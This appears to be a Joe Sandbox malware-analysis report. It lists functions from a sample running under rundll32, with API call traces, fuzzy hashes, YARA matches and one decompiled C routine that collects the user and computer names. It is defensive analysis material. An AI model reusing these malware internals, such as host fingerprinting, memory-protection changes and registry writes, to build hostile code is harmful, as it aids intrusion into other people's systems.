                                            • API ID: Heap$Free$AllocAllocateErrorFileHeaderImageLastModuleNameVirtual
                                            • String ID:
                                            • API String ID: 1921436656-0
                                            • Opcode ID: f2e2713b148ca45f434fc277dee98591119697c151e5222b9b72494eeab50daf
                                            • Instruction ID: 751f101fb664e18118e88b4869e31e22509d32a18a167dc721998ad26dd3c557
                                            • Opcode Fuzzy Hash: f2e2713b148ca45f434fc277dee98591119697c151e5222b9b72494eeab50daf
                                            • Instruction Fuzzy Hash: DD311E71A00205AFEF11EF99D886EAE7BB5FF04250F000057F915AB251DB70AA44DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD8D50 Relevance: 7.6, APIs: 5, Instructions: 97memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00000007), ref: 05DD8DD2
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DD8DEB
                                            • lstrcpyn.KERNEL32(00000006,?,00000001,?,?,?,?,?,00000000,00000000,?), ref: 05DD8DF8
                                            • lstrlen.KERNEL32(05DFA3A8,?,?,?,?,?,00000000,00000000,?), ref: 05DD8E0A
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,0000000D,00000000,?,?,?,?,?,00000000,00000000), ref: 05DD8E3B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreelstrcpylstrcpynlstrlen
                                            • String ID:
                                            • API String ID: 2734445380-0
                                            • Opcode ID: ba388205c3d5715287649ed5f0e41496aaece10842c93f6784d338dfea68f397
                                            • Instruction ID: 393dfa9b40028ef12638002ec9029fd1785395cf789d33f18143fb7e98c4bd41
                                            • Opcode Fuzzy Hash: ba388205c3d5715287649ed5f0e41496aaece10842c93f6784d338dfea68f397
                                            • Instruction Fuzzy Hash: 57315A72900209FFDB11DF99DC89EEBBFB9EB44310F008566F90992200DB35EA54DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD275C Relevance: 7.6, APIs: 5, Instructions: 89memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEACA0: RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DEACA8
                                              • Part of subcall function 05DEACA0: RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DEACBD
                                              • Part of subcall function 05DEACA0: InterlockedIncrement.KERNEL32(0000001C), ref: 05DEACD6
                                            • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 05DD2793
                                            • memcpy.NTDLL(00000000,?,?), ref: 05DD27A4
                                            • lstrcmpi.KERNEL32(00000002,?), ref: 05DD27EA
                                            • memcpy.NTDLL(00000000,?,?), ref: 05DD27FE
                                            • HeapFree.KERNEL32(00000000,00000000,?), ref: 05DD2844
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalHeapSectionmemcpy$AllocateEnterFreeIncrementInterlockedLeavelstrcmpi
                                            • String ID:
                                            • API String ID: 733514052-0
                                            • Opcode ID: 329dc1fde85211f80b0ec0a47c6622fde2c20fac86837fc6ae1d7cb9e703b71a
                                            • Instruction ID: 441af2676a8172388662f5e9d03512b130aa0b0af6cbba895436c3f448d3d643
                                            • Opcode Fuzzy Hash: 329dc1fde85211f80b0ec0a47c6622fde2c20fac86837fc6ae1d7cb9e703b71a
                                            • Instruction Fuzzy Hash: 91315276A00215BFDB109FA8DC99EAEBFB9FB04350F14406BF90697310DB359D458BA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF1524 Relevance: 7.6, APIs: 5, Instructions: 83memorytimeCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEC9C0: lstrlen.KERNEL32(00000000,00000000,?,00000000,05DF1538,00000000,00000000,00000000,00000000,?,00000022,00000000,00000000,00000000,?,?), ref: 05DEC9CC
                                            • RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DF154E
                                            • RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DF1561
                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DF1572
                                            • RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 05DF15DD
                                            • InterlockedIncrement.KERNEL32(05DF945C), ref: 05DF15F4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSectionTime$AllocateEnterFileHeapIncrementInterlockedLeaveSystemlstrlen
                                            • String ID:
                                            • API String ID: 3915436794-0
                                            • Opcode ID: 590a719d37e7839c8775fb8e4976d4c27ae1cdc52a978e4a995b3242895993cc
                                            • Instruction ID: 3a31906d4bd6b7d5b65b0c8bed12a17cf32f5efe84603c7e71e8a40804fe24ea
                                            • Opcode Fuzzy Hash: 590a719d37e7839c8775fb8e4976d4c27ae1cdc52a978e4a995b3242895993cc
                                            • Instruction Fuzzy Hash: 5731AE32A04606EFC720DFA8D849A2ABBB9FB44325B06451BFA9683350DB30D955CF95
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE5E28 Relevance: 7.6, APIs: 5, Instructions: 83libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(?,?,00000000,00000000,05DE601E,00000000,76F1F5B0,05DE339A,?,00000001), ref: 05DE5E48
                                            • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE5E5D
                                            • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE5E79
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE5E8E
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DE5EA2
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LibraryLoad$AddressProc
                                            • String ID:
                                            • API String ID: 1469910268-0
                                            • Opcode ID: a9fb0b067a18b592fc81751e561edd96c0e20f321d027dab5ac29cc4148fa931
                                            • Instruction ID: 6c93f6a5a8c99bcad3a4cbf086efc26bfda69498216725e66c0c44f3585ee92c
                                            • Opcode Fuzzy Hash: a9fb0b067a18b592fc81751e561edd96c0e20f321d027dab5ac29cc4148fa931
                                            • Instruction Fuzzy Hash: 62318C72A212009FDB10DF6CF8AAE557BE9FB49754B05406BFA49DB350DB30A8029B15
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDE229 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetUserNameW.ADVAPI32(00000000,05DDAB98), ref: 05DDE23D
                                            • GetComputerNameW.KERNEL32(00000000,05DDAB98), ref: 05DDE259
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • GetUserNameW.ADVAPI32(742CC740,05DDAB98), ref: 05DDE293
                                            • GetComputerNameW.KERNEL32(05DDAB98,?), ref: 05DDE2B6
                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,742CC740,05DDAB98,00000000,05DDAB9A,00000000,00000000,?,?,05DDAB98), ref: 05DDE2D9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                                            • String ID:
                                            • API String ID: 3850880919-0
                                            • Opcode ID: 0b952d3dad90a72d7709bb6b65bf81d68e6f5012c43fd03abf2bcb2cd304f062
                                            • Instruction ID: 54e6e208d0488cf3c4edcd5680f63e6595e60c23ae276ad87c517f89e4222925
                                            • Opcode Fuzzy Hash: 0b952d3dad90a72d7709bb6b65bf81d68e6f5012c43fd03abf2bcb2cd304f062
                                            • Instruction Fuzzy Hash: 9F21CA76901119FFDB11DFE9D9858EEFBBCFF48244B5044AAE902E7244DA309B44DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3268 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB3268() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t64 = E04AB4DF6(_v12 + _t43 + 2 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E04AB4C73(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t56 + 2, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                                            0x04ab3276
                                            0x04ab3279
                                            0x04ab327c
                                            0x04ab3282
                                            0x04ab3287
                                            0x04ab328d
                                            0x04ab3295
                                            0x04ab3298
                                            0x04ab329e
                                            0x04ab32a3
                                            0x04ab32b0
                                            0x04ab32bd
                                            0x04ab32c1
                                            0x04ab32c3
                                            0x04ab32c7
                                            0x04ab32ca
                                            0x04ab32da
                                            0x04ab332d
                                            0x04ab332e
                                            0x04ab32dc
                                            0x04ab32e1
                                            0x04ab32e2
                                            0x04ab32e7
                                            0x04ab32ea
                                            0x04ab32fd
                                            0x00000000
                                            0x04ab32ff
                                            0x04ab3302
                                            0x04ab3315
                                            0x04ab3318
                                            0x04ab331e
                                            0x04ab3323
                                            0x00000000
                                            0x04ab3325
                                            0x04ab3325
                                            0x04ab3328
                                            0x04ab3328
                                            0x04ab3323
                                            0x04ab32fd
                                            0x04ab3333
                                            0x04ab3334
                                            0x04ab32a3
                                            0x04ab333a

                                            APIs
                                            • GetUserNameW.ADVAPI32(00000000,?), ref: 04AB327C
                                            • GetComputerNameW.KERNEL32(00000000,?), ref: 04AB3298
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • GetUserNameW.ADVAPI32(00000000,?), ref: 04AB32D2
                                            • GetComputerNameW.KERNEL32(?,?), ref: 04AB32F5
                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,?,00000000,?,00000000,00000000), ref: 04AB3318
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                                            • String ID:
                                            • API String ID: 3850880919-0
                                            • Opcode ID: 1c6ab9a603680123db1544eaca638ebe85f1258458cbfdb5f34bc906b9cebf7b
                                            • Instruction ID: d868aa1e5bbe3188b5bb1591ef5aefea15ed059927c92b545cdb6a3b137ba52d
                                            • Opcode Fuzzy Hash: 1c6ab9a603680123db1544eaca638ebe85f1258458cbfdb5f34bc906b9cebf7b
                                            • Instruction Fuzzy Hash: 7721FDB5900248FFDB11DFE4D9849EEBBBCEF44300B5044AAE541E7251DA34AB05DB50
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE105E Relevance: 7.6, APIs: 5, Instructions: 81filememoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                              • Part of subcall function 05DE66BC: GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                              • Part of subcall function 05DE66BC: GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                              • Part of subcall function 05DE66BC: GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                              • Part of subcall function 05DE66BC: lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                            • DeleteFileA.KERNEL32(00000000,000004D2), ref: 05DE1081
                                            • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 05DE108A
                                            • GetLastError.KERNEL32 ref: 05DE1094
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DE1153
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileTemp$PathTime$CreateCurrentDeleteDirectoryErrorFreeHeapLastNameSystemThreadlstrcpy
                                            • String ID:
                                            • API String ID: 3543646443-0
                                            • Opcode ID: 72ace016477ffbacf1d6af76dfdd59da6c98dd53a31a8f7d5161fa0eb91289a7
                                            • Instruction ID: 9fc89f8e486d6c5ef0f91ae75b7e88334bcfd766c8f6fe4a79d679caf1d2aaf3
                                            • Opcode Fuzzy Hash: 72ace016477ffbacf1d6af76dfdd59da6c98dd53a31a8f7d5161fa0eb91289a7
                                            • Instruction Fuzzy Hash: 05214F73722210BFDA10A7E8EC5DF8A3B9CDB57251B154063FA0ACB260DA34DA45C7B0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD6434 Relevance: 7.6, APIs: 5, Instructions: 75fileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD39E2: GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DD39EE
                                              • Part of subcall function 05DD39E2: _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 05DD3A04
                                              • Part of subcall function 05DD39E2: _snwprintf.NTDLL ref: 05DD3A29
                                              • Part of subcall function 05DD39E2: CreateFileMappingW.KERNEL32(000000FF,05DF9208,00000004,00000000,00001000,?,?,54D38000,00000192), ref: 05DD3A45
                                              • Part of subcall function 05DD39E2: GetLastError.KERNEL32 ref: 05DD3A57
                                              • Part of subcall function 05DD39E2: CloseHandle.KERNEL32(00000000), ref: 05DD3A8F
                                            • UnmapViewOfFile.KERNEL32(?), ref: 05DD646F
                                            • CloseHandle.KERNEL32(?), ref: 05DD6478
                                            • SetEvent.KERNEL32(?), ref: 05DD64BF
                                            • GetLastError.KERNEL32(05DDEC0C,00000000,00000000), ref: 05DD64EE
                                            • CloseHandle.KERNEL32(00000000,05DDEC0C,00000000,00000000), ref: 05DD64FE
                                              • Part of subcall function 05DE5F3B: lstrlenW.KERNEL32(?,76E106E0,05DF2F1B,80000001,?,?,05DDC229,?,?,05DD40AD,00000000,?,00000000,?), ref: 05DE5F47
                                              • Part of subcall function 05DE5F3B: memcpy.NTDLL(00000000,?,00000000,00000002,?,?,05DDC229,?,?,05DD40AD,00000000,?,00000000,?), ref: 05DE5F6F
                                              • Part of subcall function 05DE5F3B: memset.NTDLL ref: 05DE5F81
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseFileHandle$ErrorLastTime$CreateEventMappingSystemUnmapView_aulldiv_snwprintflstrlenmemcpymemset
                                            • String ID:
                                            • API String ID: 1106445334-0
                                            • Opcode ID: 2898c9ba66ccccf49c89d5fa23eb54fb1868d1e476e4ec8a4c1f6edf8737051d
                                            • Instruction ID: badf991c63e02523e30a8aa9564ea7da863e840cb4560b20976a4866030ee24a
                                            • Opcode Fuzzy Hash: 2898c9ba66ccccf49c89d5fa23eb54fb1868d1e476e4ec8a4c1f6edf8737051d
                                            • Instruction Fuzzy Hash: 85218431714605ABDB11ABB8DC59F6BBBE8FF01650B01052BF542D2250EB70E944CBB0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF13BB Relevance: 7.6, APIs: 5, Instructions: 72fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000008,00000000,00000000,?,?,05DEA2F0,00000000,?,?), ref: 05DF13D9
                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,05DEA2F0,00000000,?,?,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DF13E9
                                            • ReadFile.KERNEL32(?,00000000,00000000,00000000,00000000,00000001,?,?,05DEA2F0,00000000,?,?,?,00000000,-00000007,05DE377E), ref: 05DF1415
                                            • GetLastError.KERNEL32(?,?,05DEA2F0,00000000,?,?,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DF143A
                                            • CloseHandle.KERNEL32(000000FF,?,?,05DEA2F0,00000000,?,?,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DF144B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseCreateErrorHandleLastReadSize
                                            • String ID:
                                            • API String ID: 3577853679-0
                                            • Opcode ID: 55551741c62b41a0ede9d788861086212a13c9b0ba5eee3f3fdda32a9c7ea156
                                            • Instruction ID: f55d596e24482b8344eaaaabc489c2a8c1577e26e1a0e59ae59204e75e469e45
                                            • Opcode Fuzzy Hash: 55551741c62b41a0ede9d788861086212a13c9b0ba5eee3f3fdda32a9c7ea156
                                            • Instruction Fuzzy Hash: 2811A572100258EFDB205FA8DC89EAE7B5DFB84264F12452BFA16D7190DA719D80C760
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD147E Relevance: 7.6, APIs: 5, Instructions: 71memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrChrA.SHLWAPI(?,0000002C), ref: 05DD148F
                                            • StrRChrA.SHLWAPI(?,00000000,0000002F), ref: 05DD14A8
                                            • StrTrimA.SHLWAPI(?,?), ref: 05DD14D0
                                            • StrTrimA.SHLWAPI(00000000,?), ref: 05DD14DF
                                            • HeapFree.KERNEL32(00000000,?,?,00000000,?,?,00000000), ref: 05DD1516
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Trim$FreeHeap
                                            • String ID:
                                            • API String ID: 2132463267-0
                                            • Opcode ID: 3e5aa052e35063a46396beda52232848bf831c17e34eddb27064cd84dc001cff
                                            • Instruction ID: 8cb86040bb539e6b6bed8d1dce41d4817d8077b5f338aed7b75222dc47d04200
                                            • Opcode Fuzzy Hash: 3e5aa052e35063a46396beda52232848bf831c17e34eddb27064cd84dc001cff
                                            • Instruction Fuzzy Hash: 30116676210205BBDB219AA9DC89FABBFADEB44790F140023BA05DB341DB75DD418B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEB6D8 Relevance: 7.6, APIs: 5, Instructions: 68memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • VirtualProtect.KERNEL32(00000000,00000004,00000040,00000000,0057E5A8,05DEBAB4,05DED73E,?,?,?,05DE9DA8,76EC5520,?,05DEBAB4,00000000), ref: 05DEB70F
                                            • VirtualProtect.KERNEL32(00000000,00000004,00000000,00000000,?,05DE9DA8,76EC5520,?,05DEBAB4,00000000,?,00000000,05DED73E,00000000), ref: 05DEB73F
                                            • RtlEnterCriticalSection.NTDLL(05DF9420), ref: 05DEB74E
                                            • RtlLeaveCriticalSection.NTDLL(05DF9420), ref: 05DEB76C
                                            • GetLastError.KERNEL32(?,05DE9DA8,76EC5520,?,05DEBAB4,00000000,?,00000000,05DED73E,00000000), ref: 05DEB77C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalProtectSectionVirtual$EnterErrorLastLeave
                                            • String ID:
                                            • API String ID: 653387826-0
                                            • Opcode ID: 41f12f90ec77c9b190292f6189bceb171bfc8a8243b51c7174da7287e2ee196a
                                            • Instruction ID: e30ea81935afbb2ca3311fc901df3bcf0648a41363ccfff4f3a7f65a97c8adbc
                                            • Opcode Fuzzy Hash: 41f12f90ec77c9b190292f6189bceb171bfc8a8243b51c7174da7287e2ee196a
                                            • Instruction Fuzzy Hash: FA2118B5600B06EFD711DFA8D985A5ABBF8FF08310B00852AEA56D7710D770F944CBA4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD7B81 Relevance: 7.6, APIs: 5, Instructions: 67memorysynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00004000), ref: 05DD7BAF
                                            • GetLastError.KERNEL32 ref: 05DD7BD2
                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 05DD7BE5
                                            • GetLastError.KERNEL32 ref: 05DD7BF0
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD7C38
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorHeapLast$AllocateFreeObjectSingleWait
                                            • String ID:
                                            • API String ID: 1671499436-0
                                            • Opcode ID: 5a4784a764456ad03ebbc44a38e24843a6eece6d74cdc8fea4beb450ddfabe32
                                            • Instruction ID: 6d23931b243e2d9050b66788a7665b028faee8707a1078eab7b791609802793c
                                            • Opcode Fuzzy Hash: 5a4784a764456ad03ebbc44a38e24843a6eece6d74cdc8fea4beb450ddfabe32
                                            • Instruction Fuzzy Hash: 8F216271600248EFEB219F58D88DF5ABFBAFB00319F6004A6F542D66A0C77599C4DB20
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD2F6E Relevance: 7.6, APIs: 5, Instructions: 65registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyA.ADVAPI32(80000001,?,-00000005), ref: 05DD2F82
                                            • memcpy.NTDLL(00000000,00000001,-00000005,-00000005,-00000005,?,05DD1B3D,?,00000000,-00000005,00000001), ref: 05DD2FAB
                                            • RegSetValueExA.ADVAPI32(?,?,00000000,00000003,00000000,-00000005), ref: 05DD2FD4
                                            • RegSetValueExA.ADVAPI32(-00000005,?,00000000,00000003,00000000,00000000,-00000005,?,05DD1B3D,?,00000000,-00000005,00000001), ref: 05DD2FF4
                                            • RegCloseKey.ADVAPI32(-00000005,?,05DD1B3D,?,00000000,-00000005,00000001), ref: 05DD2FFF
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Value$AllocateCloseCreateHeapmemcpy
                                            • String ID:
                                            • API String ID: 2954810647-0
                                            • Opcode ID: b6e0404df9bd90eac68d329a0885e061bfbd62c453d64654365ace904c790b82
                                            • Instruction ID: 062ff01025c859f91e9aea42ac71a78ccabd938133efc9212217e623cc503f6e
                                            • Opcode Fuzzy Hash: b6e0404df9bd90eac68d329a0885e061bfbd62c453d64654365ace904c790b82
                                            • Instruction Fuzzy Hash: 5D117376204109BBDF126EA5AC45EBBFA6EFB44361F044427FD01E2250DB71CD61A771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE0B6D Relevance: 7.6, APIs: 5, Instructions: 62memorystringtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DE0B8A
                                            • memcpy.NTDLL(?,?,00000009), ref: 05DE0BAC
                                            • RtlAllocateHeap.NTDLL(00000000,00000013), ref: 05DE0BC4
                                            • lstrlenW.KERNEL32(?,00000001,?), ref: 05DE0BE4
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,?), ref: 05DE0C09
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HeapTime$AllocateFileFreeSystemlstrlenmemcpy
                                            • String ID:
                                            • API String ID: 3065863707-0
                                            • Opcode ID: 0e0017659dadec988c0d7d23a35c6c9d0c8f87cc6f0adf3ff20e0e8c89328e8f
                                            • Instruction ID: 52d70498f764d793c2e5b93b60408be89e83a295dbeaff0174752cf12d217783
                                            • Opcode Fuzzy Hash: 0e0017659dadec988c0d7d23a35c6c9d0c8f87cc6f0adf3ff20e0e8c89328e8f
                                            • Instruction Fuzzy Hash: 6F114235E15208BBCB119BA9EC49F9E7FB9EB08315F004052FA15E6340DA749644CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE1843 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrcmpi.KERNEL32(00000000,?), ref: 05DE1872
                                            • RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DE187F
                                            • RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DE1892
                                            • lstrcmpi.KERNEL32(05DF9460,00000000), ref: 05DE18B2
                                            • GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,05DDD570,00000000), ref: 05DE18C6
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSectionTimelstrcmpi$EnterFileLeaveSystem
                                            • String ID:
                                            • API String ID: 1266740956-0
                                            • Opcode ID: 6ae05c38ae0c30cb770db73293a7cd1024ac1fa092c1ed602dfbedfb2a4b0add
                                            • Instruction ID: d07814f7635a516e19820e625b20252a3c0fcfc6ddef97c695e4272656734ec1
                                            • Opcode Fuzzy Hash: 6ae05c38ae0c30cb770db73293a7cd1024ac1fa092c1ed602dfbedfb2a4b0add
                                            • Instruction Fuzzy Hash: 0F117C71A1420AFFDB04DB9CD89AA9ABBB8FF04324B054027F95597340DB34AE40CBA5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

